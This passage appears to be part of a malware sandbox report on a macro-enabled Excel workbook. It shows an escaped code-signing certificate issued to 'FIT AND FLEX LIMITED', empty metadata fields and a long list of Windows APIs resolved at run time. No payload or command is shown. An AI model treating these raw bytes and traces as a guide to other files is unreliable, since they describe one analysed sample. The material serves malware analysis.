\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xb3\\x04\\x00\\x000\\x82\\x04\\xaf0\\x82\\x03\\x97\\xa0\\x03\\x02\\x01\\x02\\x02\\x10J1}#m \\xc4\\=\\xd3O1\\xc5qq\\x970\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x000L1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02US1\\x150\\x13\\x06\\x03U\\x04\n\\x13\\x0cthawte, Inc.1&0$\\x06\\x03U\\x04\\x03\\x13\\x1dthawte SHA256 Code Signing CA0\\x1e\\x17\r190613000000Z\\x17\r200612235959Z0m1\\x0b0\t\\x06\\x03U\\x04\\x06\\x13\\x02GB1\\x0e0\\x0c\\x06\\x03U\\x04\\x08\\x0c\\x05Essex1\\x100\\x0e\\x06\\x03U\\x04\\x07\\x0c\\x07HOCKLEY1\\x1d0\\x1b\\x06\\x03U\\x04\n\\x0c\\x14FIT AND FLEX LIMITED1\\x1d0\\x1b\\x06\\x03U\\x04\\x03\\x0c\\x14FIT AND FLEX LIMITED0\\x82\\x01\"0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x01\\x05\\x00\\x03\\x82\\x01\\x0f\\x000\\x82\\x01\n\\x02\\x82\\x01\\x01\\x00\\xf94\\x13I\\xca\\xd5a\\x89\\x04}E\\x98\\xf5\\xa8\\x9dc-\\xa6\\xf4\\x1eW\\xb9\t\\x86K8+\\xedL\\xd2\\x94\\xe9b\\x9e\\xed\\x02\"\\x8a3.\\xd4\\x0bz\\xadE>\\xf3\\xf1\\xec\\x91\t2x0\\xb2-I\\x96CE\\xa4\\xc7.N\\xc9\\xe7\\xbf\\x97\\x1f\\xff-\\xe5\\x82X\\x90\\xafOq\\xf8I0\\xd1P\\xa2\\x94\\xc9\\xef?\\xab\\xd4\\xd5\\x85\\xb4?y\\x94\\x05\\xb9\\xd9\\x96\\x00\\xd3\n\\x91\\xbb\\x02\\xaa\\xe0\\xe9\\xbbC\\x0c\\x1c\\xa9\\x0b:\\xc6\\xe7\\x00\\x084}K\\xfa\\x0fn\\xbd\\xfd\\x08\\\\xea\\x18r\\xcc\\x8b\\\\xff\\xd8\\xbd\\xb5\\xfd7`\\x1e\\xc4\\xe9\\x93\\xdbB\\x02\\xd1f\\xfb\\x8e\\xb8\\xca\\xbd\t\\x9aK\\xc8\\\\x80\\xc3o,9\\xb2\\x16\\x93\\x9eS\\xa5\\xe8\\x90\\x8bI^\\x82x\\x93\\xbbE}\\xde\\xd2\\xe2\\xf1{\\xeb2\\x1av\\x87X\\x86\\x02\\xef\\xb0Ft\\xc4\\x9dD\\x12\\xa9\\xe2<f\\xbcU\\xde\\xe3vl\\x9ab7\\xc2\\xedL|)\r\\xa4!\\xa0U\\xdb\\xb7@\\xe8\\x18\\xe53K>\\xfbl\\xcc\\xad)F\\xfbo~\\xc4\\xdfu\\x8c\\x1d\\xa0\\x96\\xd2\\xfd1\\x02\\x03\\x01\\x00\\x01\\xa3\\x82\\x01j0\\x82\\x01f0\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14W\\x86\\x9bT\\xb8\\xbe\\xa6)\\x8a\\xe4\\xf6\\xc2\\xe2\\x13\\x18\\x89\\x85\\xcd\\xdc\\xb70\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xb9\\x1e\\xd3\\xb7\\x9a\\xd6\\xb1\\xb2h\\xce#~\\xa0\\xe1Qc?=\\xb4.0+\\x06\\x03U\\x1d\\x1f\\x04$0\"0 \\xa0\\x1e\\xa0\\x1c\\x86\\x1ahttp://tl.symcb.com/tl.crl0\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x07\\x800\\x13\\x06\\x03U\\x1d%\\x04\\x0c0\n\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x030n\\x06\\x03U\\x1d \\x04g0e0c\\x06\\x06g\\x81\\x0c\\x01\\x04\\x010Y0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x01\\x16\\x1ahttps://www.thawte.com/cps0/\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x02\\x020#\\x0c!https://www.thawte.com/repository0W\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x01\\x01\\x04K0I0\\x1f\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x01\\x86\\x13http://tl.symcd.com0&\\x06\\x08+\\x06\\x01\\x05\\x05\\x070\\x02\\x86\\x1ahttp://tl.symcb.com/tl.crt0\r\\x06\t*\\x86H\\x86\\xf7\r\\x01\\x01\\x0b\\x05\\x00\\x03\\x82\\x01\\x01\\x00/&\\x04\\xa5\\xb1\\xd5\\x03\\x9e+\\x16\\xdcN+\\xd6H\\xe7\\xcf\\x86\\xef\\xeb\\xbd4\\x1c\\xc6&\\xd9\\xe0\\x90\\xf3\\xd0\\x90\\x80\\xcd\\xc1\\x9b\\xe0\\xc2V\\xc0o\\xd1\\x01WY@\\xb6\\xee\\x0c\\xbf\\xa1\\xd4\"\\x1cY.D\\x84\\x93\\xe3\\x97\\xd9,N+\\xd40\\x99\\x11\\\\xe9UO'\\xbf{\\xeeR7\\xcc\tL\\x11O\\xa3\\x7f\\x80\\x18t\\x97\\xa03\\xa3`\\xe4w\\x9eQ!\\xfen\\xca\\xf2\\xc7\\x0bo@X\\xd4\\xf0\\x82\\x16w>\\x1a\\xb4\\xa6?3\\xfa\\xe7\\xa6\"6\\xbf\\xc1\\xba\\xbb>\\xf9\\xfa\\xc8\\xff\\xfc\\x92\\x1b\\xe5\\x98\\x95\\x1fTw\\xfd\nY\"\\xee\\xdd\\xbb\\xbfA,\\xe35bH\\xb8/0\\xb9U\\xbd\\xc5Vq5\\xf1\\x98\\x17'\\xc3rr\\xab\\xff\\x94\\xe3\\x1b\\xb7\\xf6\\xdeN\\x813\t^ \\xff_V\\xd9Dq~\\x95\\xc1\\x0eh\\xbc\\xde8\\x1d\\x96\\xc8\\xf3U\\xd8\\x95quq\\x14V'u\\xde\\xf4\\xe9+\\x85!\\xaaI\\xfe\\x10\\x1ev\\x88\\xa6\\x8b\\xa0[\\xd6\\x86\\x08\\xba{\\xbc_\\xc2\\x92&\\x9dj4\\x81/\\x9c\\xf7q\\x0fcHE\\xb43X\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00",
  1738. "content_type": "None",
  1739. "heading_pairs": "None",
  1740. "slides": "None",
  1741. "links_dirty": "False",
  1742. "language": "None",
  1743. "notes": "None",
  1744. "bytes": "None",
  1745. "manager": "None",
  1746. "content_status": "None",
  1747. "doc_version": "None",
  1748. "titles_of_parts": "None",
  1749. "lines": "None"
  1750. },
  1751. "HasMacros": "Yes",
  1752. "DocumentType": "Excel Workbook"
  1753. }
  1754. }
  1755. }
  1756.  
  1757. [*] Resolved APIs: [
  1758. "mso.dll.#8511",
  1759. "mso.dll.#3723",
  1760. "mso.dll.#2279",
  1761. "mso.dll.#2560",
  1762. "mso.dll.#7826",
  1763. "mso.dll.#5863",
  1764. "shell32.dll.#152",
  1765. "shell32.dll.#18",
  1766. "shell32.dll.#17",
  1767. "mso.dll.#690",
  1768. "mso.dll.#3062",
  1769. "mso.dll.#8529",
  1770. "mpr.dll.WNetGetConnectionA",
  1771. "mpr.dll.WNetAddConnection3W",
  1772. "mso.dll.#94",
  1773. "mso.dll.#3260",
  1774. "mso.dll.#1776",
  1775. "mso.dll.#1073",
  1776. "mso.dll.#1441",
  1777. "mso.dll.#4994",
  1778. "mso.dll.#8218",
  1779. "mso.dll.#6226",
  1780. "mso.dll.#7032",
  1781. "mso.dll.#2824",
  1782. "mso.dll.#8369",
  1783. "mso.dll.#1521",
  1784. "mso.dll.#2652",
  1785. "mso.dll.#1836",
  1786. "mso.dll.#935",
  1787. "mso.dll.#6439",
  1788. "mso.dll.#6859",
  1789. "mso.dll.#5188",
  1790. "user32.dll.GetSysColor",
  1791. "mso.dll.#9736",
  1792. "mso.dll.#7736",
  1793. "mso.dll.#6394",
  1794. "mso.dll.#9234",
  1795. "mso.dll.#2557",
  1796. "mso.dll.#2975",
  1797. "mso.dll.#3598",
  1798. "mso.dll.#6588",
  1799. "msi.dll.#111",
  1800. "mso.dll.#1176",
  1801. "mso.dll.#5965",
  1802. "mso.dll.#9041",
  1803. "mso.dll.#2814",
  1804. "mso.dll.#5377",
  1805. "oleaut32.dll.#2",
  1806. "oleaut32.dll.#6",
  1807. "mso.dll.#1241",
  1808. "mso.dll.#2161",
  1809. "mso.dll.FIsLSCUrl",
  1810. "mso.dll.#7792",
  1811. "mso.dll.#5889",
  1812. "mso.dll.#2422",
  1813. "mso.dll.#5002",
  1814. "gkexcel.dll.FValidateExcelFile",
  1815. "gkexcel.dll.GkInitHost",
  1816. "mso.dll.#2739",
  1817. "mso.dll.#5709",
  1818. "mso.dll.#5177",
  1819. "mso.dll.#9203",
  1820. "mso.dll.#5061",
  1821. "mso.dll.#9783",
  1822. "mso.dll.#7640",
  1823. "user32.dll.SetScrollRange",
  1824. "user32.dll.SetWindowWord",
  1825. "mso.dll.#343",
  1826. "mso.dll.#9636",
  1827. "mso.dll.#2022",
  1828. "mso.dll.#4750",
  1829. "mso.dll.#3747",
  1830. "mso.dll.#2660",
  1831. "shell32.dll.DragAcceptFiles",
  1832. "mso.dll.#1719",
  1833. "user32.dll.ClientToScreen",
  1834. "mso.dll.#81",
  1835. "mso.dll.#7238",
  1836. "mso.dll.#1774",
  1837. "mso.dll.#6452",
  1838. "mso.dll.#5764",
  1839. "ole32.dll.CoGetCallState",
  1840. "ole32.dll.CoGetActivationState",
  1841. "advapi32.dll.RegisterWaitChainCOMCallback",
  1842. "mso.dll.#8140",
  1843. "mso.dll.#3913",
  1844. "user32.dll.PeekMessageA",
  1845. "mso.dll.#356",
  1846. "mso.dll.#408",
  1847. "mso.dll.#8622",
  1848. "mso.dll.#3449",
  1849. "mso.dll.#3820",
  1850. "mso.dll.#2714",
  1851. "gdiplus.dll.GdipLoadImageFromStreamICM",
  1852. "windowscodecs.dll.DllGetClassObject",
  1853. "kernel32.dll.WerRegisterMemoryBlock",
  1854. "gdiplus.dll.GdipGetImageRawFormat",
  1855. "gdiplus.dll.GdipGetImageFlags",
  1856. "gdiplus.dll.GdipGetImageWidth",
  1857. "gdiplus.dll.GdipGetImageHeight",
  1858. "gdiplus.dll.GdipGetImagePixelFormat",
  1859. "gdiplus.dll.GdipGetImageHorizontalResolution",
  1860. "gdiplus.dll.GdipGetImageVerticalResolution",
  1861. "gdiplus.dll.GdipImageGetFrameCount",
  1862. "gdiplus.dll.GdipDisposeImage",
  1863. "mso.dll.#469",
  1864. "mso.dll.#7974",
  1865. "mso.dll.#2609",
  1866. "oleaut32.dll.#8",
  1867. "oleaut32.dll.#9",
  1868. "mso.dll.#4872",
  1869. "mso.dll.#1780",
  1870. "mso.dll.#3834",
  1871. "mso.dll.#8879",
  1872. "mso.dll.#6949",
  1873. "mso.dll.#5457",
  1874. "mso.dll.#9462",
  1875. "user32.dll.GetScrollRange",
  1876. "mso.dll.#3380",
  1877. "mso.dll.#4648",
  1878. "mso.dll.#6873",
  1879. "mso.dll.#2052",
  1880. "mso.dll.#7703",
  1881. "mso.dll.#4607",
  1882. "mso.dll.#2751",
  1883. "mso.dll.#6759",
  1884. "mso.dll.#1772",
  1885. "mso.dll.#6664",
  1886. "mso.dll.#9621",
  1887. "mso.dll.#7278",
  1888. "mso.dll.#1006",
  1889. "crypt32.dll.CryptSIPAddProvider",
  1890. "wintrust.dll.WintrustAddActionID",
  1891. "crypt32.dll.CryptMsgOpenToDecode",
  1892. "crypt32.dll.CryptMsgUpdate",
  1893. "bcryptprimitives.dll.GetHashInterface",
  1894. "crypt32.dll.CryptMsgGetParam",
  1895. "crypt32.dll.CryptDecodeObject",
  1896. "cryptnet.dll.CertDllVerifyRevocation",
  1897. "crypt32.dll.CryptMsgClose",
  1898. "msi.dll.#203",
  1899. "sechost.dll.ConvertSidToStringSidW",
  1900. "profapi.dll.#104",
  1901. "vbe7.dll.DllVbeGetHashOfCode",
  1902. "sensapi.dll.IsNetworkAlive",
  1903. "rpcrt4.dll.RpcBindingFromStringBindingW",
  1904. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  1905. "rpcrt4.dll.NdrClientCall2",
  1906. "winhttp.dll.WinHttpOpen",
  1907. "winhttp.dll.WinHttpSetTimeouts",
  1908. "winhttp.dll.WinHttpSetOption",
  1909. "winhttp.dll.WinHttpCrackUrl",
  1910. "winhttp.dll.WinHttpConnect",
  1911. "winhttp.dll.WinHttpOpenRequest",
  1912. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  1913. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  1914. "advapi32.dll.CryptAcquireContextA",
  1915. "advapi32.dll.CryptCreateHash",
  1916. "advapi32.dll.CryptDestroyHash",
  1917. "advapi32.dll.CryptHashData",
  1918. "advapi32.dll.CryptGetHashParam",
  1919. "advapi32.dll.CryptReleaseContext",
  1920. "advapi32.dll.CryptGenRandom",
  1921. "cryptsp.dll.CryptAcquireContextA",
  1922. "cryptsp.dll.CryptCreateHash",
  1923. "winhttp.dll.WinHttpTimeFromSystemTime",
  1924. "cryptsp.dll.CryptHashData",
  1925. "cryptsp.dll.CryptGetHashParam",
  1926. "cryptsp.dll.CryptDestroyHash",
  1927. "cryptsp.dll.CryptReleaseContext",
  1928. "winhttp.dll.WinHttpSendRequest",
  1929. "oleaut32.dll.#149",
  1930. "wintrust.dll.WinVerifyTrust",
  1931. "wintrust.dll.WintrustCertificateTrust",
  1932. "mso.dll.MsoWintrustFinalPolicy",
  1933. "wintrust.dll.SoftpubInitialize",
  1934. "wintrust.dll.SoftpubLoadMessage",
  1935. "wintrust.dll.SoftpubLoadSignature",
  1936. "wintrust.dll.SoftpubCheckCert",
  1937. "wintrust.dll.SoftpubCleanup",
  1938. "mso.dll.DllCanUnloadNow",
  1939. "mso.dll.MsoVBADigSigPutSignedDataMsg",
  1940. "mso.dll.MsoVBADigSigGetSignedDataMsg",
  1941. "mso.dll.MsoVBADigSigVerifyIndirectData",
  1942. "cryptsp.dll.CryptSetHashParam",
  1943. "user32.dll.IsHungAppWindow",
  1944. "ole32.dll.CoTaskMemFree",
  1945. "ole32.dll.CoTaskMemAlloc",
  1946. "ole32.dll.CoInitializeEx",
  1947. "ole32.dll.CoUninitialize",
  1948. "winhttp.dll.WinHttpReceiveResponse",
  1949. "winhttp.dll.WinHttpQueryHeaders",
  1950. "shlwapi.dll.StrStrIW",
  1951. "winhttp.dll.WinHttpQueryDataAvailable",
  1952. "winhttp.dll.WinHttpReadData",
  1953. "winhttp.dll.WinHttpCloseHandle",
  1954. "cryptnet.dll.I_CryptNetGetConnectivity",
  1955. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  1956. "setupapi.dll.SetupIterateCabinetW",
  1957. "kernel32.dll.RegOpenKeyExW",
  1958. "kernel32.dll.RegCloseKey",
  1959. "cabinet.dll.#20",
  1960. "cabinet.dll.#22",
  1961. "devrtl.dll.DevRtlGetThreadLogToken",
  1962. "sechost.dll.OpenSCManagerW",
  1963. "sechost.dll.OpenServiceW",
  1964. "sechost.dll.QueryServiceConfigA",
  1965. "sechost.dll.QueryServiceStatus",
  1966. "sechost.dll.CloseServiceHandle",
  1967. "rpcrt4.dll.RpcStringBindingComposeA",
  1968. "rpcrt4.dll.RpcBindingFromStringBindingA",
  1969. "rpcrt4.dll.RpcEpResolveBinding",
  1970. "sechost.dll.LookupAccountSidLocalW",
  1971. "rpcrt4.dll.RpcStringFreeA",
  1972. "rpcrt4.dll.RpcBindingFree",
  1973. "wintrust.dll.WTHelperGetProvSignerFromChain",
  1974. "wintrust.dll.WTHelperGetProvCertFromChain",
  1975. "wintrust.dll.WintrustLoadFunctionPointers",
  1976. "wintrust.dll.SoftpubAuthenticode",
  1977. "advapi32.dll.SaferiSearchMatchingHashRules",
  1978. "crypt32.dll.CertGetCertificateContextProperty",
  1979. "crypt32.dll.CertOpenStore",
  1980. "crypt32.dll.CertFindCertificateInStore",
  1981. "crypt32.dll.CertCloseStore",
  1982. "crypt32.dll.CryptHashCertificate",
  1983. "crypt32.dll.CertOpenSystemStoreA",
  1984. "crypt32.dll.CertFreeCertificateContext",
  1985. "crypt32.dll.CertGetSubjectCertificateFromStore",
  1986. "crypt32.dll.CertCreateCertificateChainEngine",
  1987. "crypt32.dll.CertGetCertificateChain",
  1988. "crypt32.dll.CertFreeCertificateChain",
  1989. "crypt32.dll.CertGetNameStringW",
  1990. "mso.dll.#3425",
  1991. "mso.dll.#8499",
  1992. "mso.dll.#1281",
  1993. "gdi32.dll.GetRgnBox",
  1994. "user32.dll.SetScrollPos",
  1995. "oleaut32.dll.#10",
  1996. "mso.dll.#1767",
  1997. "user32.dll.SetFocus",
  1998. "user32.dll.IsRectEmpty",
  1999. "user32.dll.CreateCaret",
  2000. "user32.dll.SetCaretPos",
  2001. "user32.dll.GetSystemMetrics",
  2002. "user32.dll.MonitorFromWindow",
  2003. "user32.dll.MonitorFromRect",
  2004. "user32.dll.MonitorFromPoint",
  2005. "user32.dll.EnumDisplayMonitors",
  2006. "user32.dll.GetMonitorInfoA",
  2007. "user32.dll.EnumDisplayDevicesA",
  2008. "user32.dll.SetRect",
  2009. "user32.dll.GetFocus",
  2010. "mso.dll.#2068",
  2011. "gdi32.dll.CreateDIBSection",
  2012. "gdi32.dll.CreateCompatibleDC",
  2013. "gdi32.dll.GetViewportOrgEx",
  2014. "gdi32.dll.SetViewportOrgEx",
  2015. "gdi32.dll.SetGraphicsMode",
  2016. "mso.dll.#339",
  2017. "gdi32.dll.SetBkColor",
  2018. "gdi32.dll.ExtTextOutA",
  2019. "gdi32.dll.PatBlt",
  2020. "mso.dll.#4716",
  2021. "gdi32.dll.ExtTextOutW",
  2022. "user32.dll.BeginPaint",
  2023. "user32.dll.FillRect",
  2024. "mso.dll.#9414",
  2025. "mso.dll.#2538",
  2026. "windowscodecs.dll.WICCreateImagingFactory_Proxy",
  2027. "webservices.dll.WsResetHeap",
  2028. "webservices.dll.WsCloseServiceProxy",
  2029. "ws2_32.dll.#3",
  2030. "webservices.dll.WsFreeServiceProxy",
  2031. "ncrypt.dll.SslDecrementProviderReferenceCount",
  2032. "ncrypt.dll.SslFreeObject",
  2033. "gdi32.dll.SetStretchBltMode",
  2034. "gdi32.dll.DeleteDC",
  2035. "mso.dll.#580",
  2036. "user32.dll.IsWindowRedirectedForPrint",
  2037. "gdi32.dll.CreateRectRgnIndirect",
  2038. "user32.dll.GetUpdateRgn",
  2039. "user32.dll.ValidateRect",
  2040. "user32.dll.GetUpdateRect",
  2041. "user32.dll.EndPaint",
  2042. "mso.dll.#2398",
  2043. "user32.dll.GetKeyboardLayout",
  2044. "mso.dll.#1213",
  2045. "mso.dll.#5735",
  2046. "mso.dll.#1335",
  2047. "mso.dll.#6117",
  2048. "mso.dll.#5213",
  2049. "user32.dll.GetWindowTextW",
  2050. "user32.dll.SetWindowTextW",
  2051. "mso.dll.#5152",
  2052. "mso.dll.#5407",
  2053. "user32.dll.BringWindowToTop",
  2054. "mso.dll.#5330",
  2055. "user32.dll.DestroyCaret",
  2056. "mso.dll.#3084",
  2057. "user32.dll.WindowFromDC",
  2058. "winmm.dll.timeGetTime",
  2059. "mso.dll.#1429",
  2060. "mso.dll.#6502",
  2061. "mso.dll.#2566",
  2062. "gdi32.dll.GetTextAlign",
  2063. "gdi32.dll.GetCurrentObject",
  2064. "gdi32.dll.GetFontData",
  2065. "mso.dll.#3043",
  2066. "mso.dll.#2340",
  2067. "mso.dll.#6843",
  2068. "mso.dll.#1566",
  2069. "mso.dll.#894",
  2070. "mso.dll.#2786",
  2071. "mso.dll.#9585",
  2072. "mso.dll.#4651",
  2073. "user32.dll.GetDC",
  2074. "user32.dll.ReleaseDC",
  2075. "mso.dll.#1607",
  2076. "mso.dll.#5202",
  2077. "mso.dll.#7320",
  2078. "mso.dll.#5822",
  2079. "mso.dll.#1056",
  2080. "mso.dll.#8136",
  2081. "mso.dll.#7418",
  2082. "mso.dll.#999",
  2083. "mso.dll.#7113",
  2084. "dwmapi.dll.DwmIsCompositionEnabled",
  2085. "d3d10_1.dll.D3D10CreateDevice1",
  2086. "gdi32.dll.D3DKMTOpenAdapterFromGdiDisplayName",
  2087. "gdi32.dll.D3DKMTCloseAdapter",
  2088. "gdi32.dll.D3DKMTQueryAdapterInfo",
  2089. "gdi32.dll.D3DKMTOpenAdapterFromDeviceName",
  2090. "setupapi.dll.SetupDiGetClassDevsW",
  2091. "setupapi.dll.SetupDiEnumDeviceInterfaces",
  2092. "setupapi.dll.SetupDiGetDeviceInterfaceDetailW",
  2093. "setupapi.dll.SetupDiDestroyDeviceInfoList",
  2094. "setupapi.dll.SetupDiGetDevicePropertyW",
  2095. "d3d10warp.dll.D3DKMTOpenAdapterFromGdiDisplayName",
  2096. "d3d10warp.dll.D3DKMTOpenAdapterFromDeviceName",
  2097. "d3d10warp.dll.D3DKMTGetDisplayModeList",
  2098. "d3d10warp.dll.D3DKMTSetVidPnSourceOwner",
  2099. "d3d10warp.dll.D3DKMTSetDisplayMode",
  2100. "d3d10warp.dll.D3DKMTCloseAdapter",
  2101. "d3d10warp.dll.D3DKMTSetGammaRamp",
  2102. "d3d10warp.dll.D3DKMTGetDeviceState",
  2103. "d3d10warp.dll.D3DKMTQueryAdapterInfo",
  2104. "d3d10warp.dll.D3DKMTWaitForVerticalBlankEvent",
  2105. "gdi32.dll.D3DKMTCreateDCFromMemory",
  2106. "gdi32.dll.D3DKMTDestroyDCFromMemory",
  2107. "gdi32.dll.D3DKMTCheckVidPnExclusiveOwnership",
  2108. "gdi32.dll.D3DKMTCheckMonitorPowerState",
  2109. "gdi32.dll.D3DKMTCheckSharedResourceAccess",
  2110. "d3d10_1core.dll.D3D10CoreCreateDevice1",
  2111. "d3d10_1core.dll.D3D10CoreGetSupportedVersions",
  2112. "d3d10_1core.dll.D3D10CoreGetVersion",
  2113. "d3d10warp.dll.D3DKMTCreateAllocation",
  2114. "d3d10warp.dll.D3DKMTQueryResourceInfo",
  2115. "d3d10warp.dll.D3DKMTOpenResource",
  2116. "d3d10warp.dll.D3DKMTDestroyAllocation",
  2117. "d3d10warp.dll.D3DKMTSetAllocationPriority",
  2118. "d3d10warp.dll.D3DKMTQueryAllocationResidency",
  2119. "d3d10warp.dll.D3DKMTCreateDevice",
  2120. "d3d10warp.dll.D3DKMTDestroyDevice",
  2121. "d3d10warp.dll.D3DKMTGetRuntimeData",
  2122. "d3d10warp.dll.D3DKMTLock",
  2123. "d3d10warp.dll.D3DKMTUnlock",
  2124. "d3d10warp.dll.D3DKMTGetMultisampleMethodList",
  2125. "d3d10warp.dll.D3DKMTPresent",
  2126. "d3d10warp.dll.D3DKMTRender",
  2127. "d3d10warp.dll.D3DKMTGetSharedPrimaryHandle",
  2128. "d3d10warp.dll.D3DKMTEscape",
  2129. "d3d10warp.dll.D3DKMTSetContextSchedulingPriority",
  2130. "d3d10warp.dll.D3DKMTGetContextSchedulingPriority",
  2131. "d3d10warp.dll.D3DKMTCreateContext",
  2132. "d3d10warp.dll.D3DKMTDestroyContext",
  2133. "d3d10warp.dll.D3DKMTCreateSynchronizationObject",
  2134. "d3d10warp.dll.D3DKMTDestroySynchronizationObject",
  2135. "d3d10warp.dll.D3DKMTWaitForSynchronizationObject",
  2136. "d3d10warp.dll.D3DKMTSignalSynchronizationObject",
  2137. "d3d10warp.dll.D3DKMTSetDisplayPrivateDriverFormat",
  2138. "d3d10warp.dll.OpenAdapter10_2",
  2139. "d3d10_1core.dll.D3D10CoreRegisterLayers",
  2140. "d3d10warp.dll.#50",
  2141. "dwrite.dll.DWriteCreateFactory",
  2142. "gdi32.dll.BitBlt",
  2143. "gdi32.dll.GetClipBox",
  2144. "user32.dll.IntersectRect",
  2145. "gdi32.dll.StretchDIBits",
  2146. "riched20.dll.REExtendedRegisterClass",
  2147. "user32.dll.GetWindowLongW",
  2148. "user32.dll.SetWindowLongW",
  2149. "user32.dll.RegisterWindowMessageA",
  2150. "user32.dll.RegisterClipboardFormatW",
  2151. "user32.dll.GetDoubleClickTime",
  2152. "user32.dll.SetCaretBlinkTime",
  2153. "user32.dll.SystemParametersInfoW",
  2154. "user32.dll.GetKeyboardLayoutList",
  2155. "mso.dll._MsoGetFidUspDll@0",
  2156. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  2157. "usp10.dll.ScriptGetProperties",
  2158. "usp10.dll.ScriptItemize",
  2159. "user32.dll.LoadCursorW",
  2160. "user32.dll.IsWindowVisible",
  2161. "user32.dll.PostMessageW",
  2162. "user32.dll.DefWindowProcW",
  2163. "uxtheme.dll.IsThemeActive",
  2164. "uxtheme.dll.IsAppThemed",
  2165. "uxtheme.dll.OpenThemeData",
  2166. "user32.dll.GetClientRect",
  2167. "user32.dll.IsIconic",
  2168. "user32.dll.GetParent",
  2169. "usp10.dll.ScriptGetCMap",
  2170. "user32.dll.InvalidateRect",
  2171. "user32.dll.HideCaret",
  2172. "user32.dll.ShowCaret",
  2173. "user32.dll.IsWindowUnicode",
  2174. "user32.dll.SendMessageW",
  2175. "user32.dll.NotifyWinEvent",
  2176. "user32.dll.GetWindowTextLengthW",
  2177. "user32.dll.EnableWindow",
  2178. "msctf.dll.SetInputScope",
  2179. "user32.dll.UpdateWindow",
  2180. "user32.dll.GetWindowRgn",
  2181. "gdi32.dll.CreateCompatibleBitmap",
  2182. "gdi32.dll.SaveDC",
  2183. "gdi32.dll.SetPixel",
  2184. "gdi32.dll.GetPixel",
  2185. "gdi32.dll.RestoreDC",
  2186. "imm32.dll.ImmAssociateContext",
  2187. "user32.dll.GetForegroundWindow",
  2188. "user32.dll.EnumChildWindows",
  2189. "user32.dll.GetClassNameA",
  2190. "user32.dll.GetWindow",
  2191. "gdi32.dll.GetMapMode",
  2192. "gdi32.dll.GetWindowOrgEx",
  2193. "gdi32.dll.SetWindowOrgEx",
  2194. "user32.dll.PtInRect",
  2195. "user32.dll.GetWindowWord",
  2196. "user32.dll.InflateRect",
  2197. "mso.dll.#3925",
  2198. "user32.dll.OffsetRect",
  2199. "gdi32.dll.OffsetRgn",
  2200. "gdi32.dll.IntersectClipRect",
  2201. "gdi32.dll.GetClipRgn",
  2202. "mso.dll.#5127",
  2203. "mso.dll.#3141",
  2204. "mso.dll.#2821",
  2205. "mso.dll.#7026",
  2206. "mso.dll.#3327",
  2207. "shell32.dll.SHAddToRecentDocs",
  2208. "mso.dll.#1010",
  2209. "mso.dll.#6989",
  2210. "mso.dll.#7223",
  2211. "mso.dll.#1682",
  2212. "mso.dll.#7979",
  2213. "mso.dll.#3459",
  2214. "mso.dll.#2041",
  2215. "mso.dll.#7834",
  2216. "mso.dll.#239",
  2217. "user32.dll.GetWindowDC",
  2218. "gdi32.dll.SetLayout",
  2219. "gdi32.dll.RectVisible",
  2220. "gdi32.dll.ExcludeClipRect",
  2221. "gdi32.dll.SelectClipRgn",
  2222. "mso.dll.#1914",
  2223. "advapi32.dll.RegDeleteKeyW",
  2224. "mso.dll.#1338",
  2225. "ole32.dll.PropVariantClear",
  2226. "mso.dll.#6357",
  2227. "mso.dll.#1671",
  2228. "oleaut32.dll.#7",
  2229. "mso.dll.#8263",
  2230. "mso.dll.#9741",
  2231. "mso.dll.#8022",
  2232. "advapi32.dll.RegQueryValueW",
  2233. "apphelp.dll.ApphelpCheckShellObject",
  2234. "user32.dll.UnionRect",
  2235. "ole32.dll.CoRevokeInitializeSpy",
  2236. "comctl32.dll.#388",
  2237. "gdi32.dll.SetDIBitsToDevice",
  2238. "mso.dll.#749",
  2239. "oleaut32.dll.#12",
  2240. "mso.dll.#6336",
  2241. "mso.dll.#4791",
  2242. "mso.dll.#8085",
  2243. "mso.dll.#5003",
  2244. "user32.dll.RemovePropW",
  2245. "mso.dll.#1848",
  2246. "mso.dll.#8970",
  2247. "mso.dll.#6453",
  2248. "mso.dll.#8044",
  2249. "mso.dll.#1443",
  2250. "mso.dll.#3698",
  2251. "mso.dll.#8565",
  2252. "mso.dll.#8373",
  2253. "mso.dll.#5630",
  2254. "mso.dll.#4577",
  2255. "mso.dll.#6163",
  2256. "mso.dll.#552",
  2257. "mso.dll.#8549",
  2258. "mso.dll.#2863",
  2259. "mso.dll.#8756",
  2260. "mso.dll.#2861",
  2261. "mso.dll.#9198",
  2262. "mso.dll.#4481",
  2263. "mso.dll.#1024",
  2264. "mso.dll.#7181",
  2265. "mso.dll.#791",
  2266. "mso.dll.#7173",
  2267. "mso.dll.#1420",
  2268. "mso.dll.#4631",
  2269. "mso.dll.#7001",
  2270. "mso.dll.#9213",
  2271. "mso.dll.#1380",
  2272. "user32.dll.TranslateMessage",
  2273. "mso.dll.#4731",
  2274. "user32.dll.DispatchMessageW",
  2275. "mso.dll.#6900",
  2276. "mso.dll.#6420",
  2277. "user32.dll.WindowFromPoint",
  2278. "user32.dll.SetCapture",
  2279. "user32.dll.ReleaseCapture",
  2280. "user32.dll.SetCursor",
  2281. "user32.dll.GetMessageExtraInfo",
  2282. "mso.dll.#7766",
  2283. "mso.dll.#1911",
  2284. "mso.dll.#8802",
  2285. "mso.dll.#3055",
  2286. "ole32.dll.CoCreateInstance",
  2287. "user32.dll.GetClassLongW",
  2288. "msostyle.dll.PIMEShareCreate",
  2289. "user32.dll.LoadStringA",
  2290. "mso.dll.#9500",
  2291. "user32.dll.GetCursorInfo",
